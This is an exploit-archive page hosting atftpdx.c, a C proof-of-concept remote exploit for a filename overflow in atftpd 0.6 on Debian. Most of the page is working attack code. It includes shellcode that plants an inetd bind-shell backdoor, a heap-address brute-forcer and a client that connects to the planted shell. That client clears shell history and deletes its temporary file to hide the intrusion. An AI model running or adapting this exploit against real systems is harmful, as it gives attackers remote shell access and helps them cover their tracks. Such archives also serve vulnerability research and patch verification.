what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

atftpdx.c

atftpdx.c
Posted Jun 11, 2003
Authored by Gunzip

Proof of concept remote root exploit for atftpd version 0.6. Makes use of the filename overflow found by Rick Patel. Tested against Debian 3.0.

tags | exploit, remote, overflow, root, proof of concept
systems | linux, debian
SHA-256 | 9f6808a16e0468c6d54152cfeec1e9d9af5e7c3678ec1fac83789785f111fae5

atftpdx.c

Change Mirror Download
/**
** PoC linux/86 remote exploit against atftpd (c) gunzip ( FIXED )
**
** This is a PoC as I didn't investigate the bug very much :
**
** - shellcode is placed in the heap but I didn't check if you can
** increase the number of the nops (probably you can)
**
** - I didn't check other distro/os for offset(s)
**
** - atftpd may crash during attack
**
** - There are better shellcodes to use with this (connect back)
**
** - Code sux, better using select() instead of alarm()
**
** However on my machine with atftpd version 0.6 ( from Debian Woody .deb )
**
** [+] Using len=260 align=0 retaddr=0x08055640 shellcode=120 bport=2583
** sh: no job control in this shell
** sh-2.05b$ uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
** Linux gunzip 2.4.20 #2 Thu Mar 13 14:37:10 CET 2003 i686 unknown
** sh-2.05b$
**
** Thu Jun 5 20:37:32 CEST 2003
**
** bug found by Rick <rikul@interbee.com>
** http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0
**
** kisses to tankie
** greets: sorbo, arcangelo, jestah
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define HEAP_START 0x080514b4
#define HEAP_END 0x080594b4

#define BACKDOOR "rfe" /* port MUST be > 1024 */
#define NOPNUM 128 /* number of nops */
#define PORT 69 /* tftpd port */
#define BUFSIZE 512 /* size of exploit buffer */
#define TIMEOUT 0x5 /* timeout in sec. */
#define NOALARM 0x0 /* no timeout */
#define RRQ 0x1 /* request method */
#define MODE "octet" /* request mode */
#define OFFSET 16000 /* distance of nops from heap */

struct target {
char * name ;
unsigned int align ;
unsigned int len ;
unsigned int retaddr ;
} tg[] =
{
{ "Linux (Debian 3.0)", 0, 264, 0x0805560c },
{ NULL, 0, 0, 0 }
};

char shellcode[]= /* taken from lsd-pl.net */
"\xeb\x22" /* jmp <cmdshellcode+36> */
"\x59" /* popl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x66\x68""-c" /* pushw $0x632d */
"\x89\xe7" /* movl %esp,%edi */
"\x50" /* pushl %eax */
"\x51" /* pushl %ecx */
"\x57" /* pushl %edi */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
"\xe8\xd9\xff\xff\xff" /* call <cmdshellcode+2> */
"echo " BACKDOOR " stream tcp nowait nobody /bin/sh sh -i>/tmp/.x ;/usr/sbin/inetd /tmp/.x;"
;

void timeout( int sig )
{
alarm( NOALARM );
signal( SIGALRM, SIG_DFL );
fprintf(stderr,"[-] Timeout.\n");
exit( EXIT_FAILURE );
}

int shell( int fd )
{
int rd ;
fd_set rfds;
static char buff[ 1024 ];
char INIT_CMD[] = "unset HISTFILE; rm -f /tmp/.x; echo; id; uname -a\n";

write(fd, INIT_CMD, strlen( INIT_CMD ));

while(1) {
FD_ZERO( &rfds );
FD_SET(0, &rfds);
FD_SET(fd, &rfds);

if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
perror("[-] Select");
exit( EXIT_FAILURE );
}
if( FD_ISSET(0, &rfds) ) {
if( (rd = read(0, buff, sizeof(buff))) < 1) {
perror("[-] Read");
exit( EXIT_FAILURE );
}
if( write(fd,buff,rd) != rd) {
perror("[-] Write");
exit( EXIT_FAILURE );
}
}
if( FD_ISSET(fd, &rfds) ) {
if( (rd = read(fd, buff, sizeof(buff))) < 1) {
exit( EXIT_SUCCESS );
}
write(1, buff, rd);
}
}
}

int try( unsigned short bport, unsigned long ip )
{
int sockfd ;
struct sockaddr_in sheep ;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("[-] Socket");
exit( EXIT_FAILURE );
}

sheep.sin_family = AF_INET;
sheep.sin_addr.s_addr = ip ;
sheep.sin_port = htons ( bport );

signal( SIGALRM, timeout );
alarm( TIMEOUT );

if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1 )
{
alarm( NOALARM );
signal(SIGALRM,SIG_DFL);
return 0;
}

alarm( NOALARM );
signal(SIGALRM,SIG_DFL);

return sockfd ;
}

char * xp_make_str( unsigned int len, unsigned int align, unsigned long retaddr )
{
int c ;
char * xp = (char *)calloc( BUFSIZE, sizeof(char) );
char * code = shellcode ;

if( !xp ) {
fprintf(stderr, "[-] Not enough memory !\n");
exit( EXIT_FAILURE );
}

/* stupid check */

if (( align + len ) > (BUFSIZE - strlen( shellcode ) - 32)) {
fprintf(stderr, "[-] String too long or align too high.\n");
exit( EXIT_FAILURE );
}
/*
* our buffer shoud look like this
*
* [ NOPS ][ SHELLCODE ][ RETADDR * 4 ][ 0 ][ MODE ][ 0 ][ NOPS ][ SHELLCODE ]
* |_____> len
*/
memset ( xp, 0x41, BUFSIZE );

memcpy( xp + len - strlen( code ) - 16, code, strlen( code ));

for ( c = align + len - 16 ; c < len ; c += 4 )
*(long *)( xp + c ) = retaddr ;

*( xp ) = 0x0 ;
*( xp + 1 ) = RRQ ;
*( xp + len )= '\0' ;

memcpy( xp + len + 1, MODE, strlen( MODE ));

*( xp + len + 1 + strlen( MODE )) = '\0' ;

memcpy ( xp + BUFSIZE - strlen( code ), code, strlen( code ));

return xp ;
}

void usage( char * a )
{
int o = 0 ;
fprintf(stderr,
"__Usage: %s -h host -t target [options]\n\n"
"-o\toffset\n"
"-a\talign\n"
"-s\tstep for bruteforcing (try 120 <= step <= 512)\n"
"-l\tlength of filename\n"
"-v\ttreceives packets too (check if daemon's crashed)\n"
"-b\tenables bruteforce (dangerous !)\n\n", a);
while( tg[o].name != NULL )
{
fprintf(stderr, "\t%d - %s\n", o, tg[o].name ); o++ ;
}
fprintf( stderr, "\n" );
exit( EXIT_FAILURE );
}

int main(int argc, char *argv[])
{
int sfd, t = 0, bport = 0, opt = 0, offset = 0,
want_receive = 0, brute = 0, yeah = 0, step = 0;
struct servent * se ;
unsigned long n ;
char * host ;
struct sockaddr_in server ;
int len = sizeof(server);

char * rbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
char * wbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );

if ( !wbuf || !rbuf ) {
fprintf(stderr, "[-] Not enough memory !\n");
exit( EXIT_FAILURE );
}

memset(&server, 0, sizeof(server));

fprintf(stderr,"\nlinux/x86 atftpd remote exploit by gunzip\n\n");

if ( argc < 3 )
usage( argv[0] );

while ((opt = getopt(argc, argv, "bvo:a:l:h:t:s:")) != EOF) {
switch(opt)
{
case 's': step = atoi( optarg ); break ;
case 'h': host = strdup ( optarg ); break;
case 't': t = atoi(optarg); break;
case 'b': brute++ ; break ;
case 'v': want_receive++ ; break ;
case 'o': offset += atoi( optarg ); break;
case 'a': tg[t].align = atoi( optarg ); break;
case 'l': tg[t].len = atoi( optarg ); break;
default: usage( argv[0] ); break;
}
}
if (( se = getservbyname( BACKDOOR, NULL )) == NULL ) {
perror("[-] Getservbyname");
exit( EXIT_FAILURE );
}
if ((bport = ntohs( se->s_port )) < 1024 ) {
fprintf(stderr, "[-] Backdoor port must be <= 1024\n");
exit( EXIT_FAILURE );
}
if ( inet_aton( host , &server.sin_addr) == 0 ) {
struct hostent * he ;

if ( (he = gethostbyname( host )) == NULL ) {
perror("[-] Gethostbyname");
exit( EXIT_FAILURE );
}
server.sin_addr.s_addr =
((struct in_addr *)(he->h_addr))->s_addr ;
}
if ((sfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1 ) {
perror("[-] Socket");
exit( EXIT_FAILURE );
}

fprintf(stdout,"[+] Sending request to host %s\n",
inet_ntoa(server.sin_addr));

if ( !step ) step = tg[t].len / 2 ;
if ( brute ) offset += OFFSET ;

for( n = HEAP_START + offset; n < HEAP_END ; n += step ) {

fprintf(stdout,"[+] Using len=%d align=%d retaddr=0x%.8x shellcode=%d bport=%d\n",
tg[t].len, tg[t].align,
(brute ) ? (unsigned int)n : (unsigned int)tg[t].retaddr + offset,
strlen(shellcode), bport );

if ( !brute )
wbuf = xp_make_str( tg[t].len, tg[t].align, tg[t].retaddr + offset );
else
wbuf = xp_make_str( tg[t].len, tg[t].align, n );

server.sin_port = htons( PORT );

if ( sendto(sfd, wbuf,
(size_t) BUFSIZE, 0,
(struct sockaddr *)&server,
(socklen_t)sizeof(struct sockaddr)) < tg[t].len)
{
perror("[-] Sendto");
}
else if ( want_receive )
{
signal( SIGALRM, timeout );
alarm( TIMEOUT );

if ( recvfrom(sfd, rbuf,
(size_t) BUFSIZE, 0,
(struct sockaddr *)&server,
(socklen_t *)&len) != -1 )
{
alarm( NOALARM );
signal( SIGALRM, SIG_DFL);
fprintf( stdout,"[+] Received: %.2x %.2x %.2x %.2x\n",
rbuf[0],rbuf[1],rbuf[2],rbuf[3]);
}
else {
perror("[-] Recvfrom");
}
}
sleep ( 1 ) ;

if((yeah = try( bport, server.sin_addr.s_addr ))) {
shell( yeah );
exit( EXIT_SUCCESS );
}

if ( !brute ) break ;

memset( wbuf, 0, BUFSIZE + 4 );
memset( rbuf, 0, BUFSIZE + 4 );
}

return 1 ;
}
/* http://members.xoom.it/gunzip/ */
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close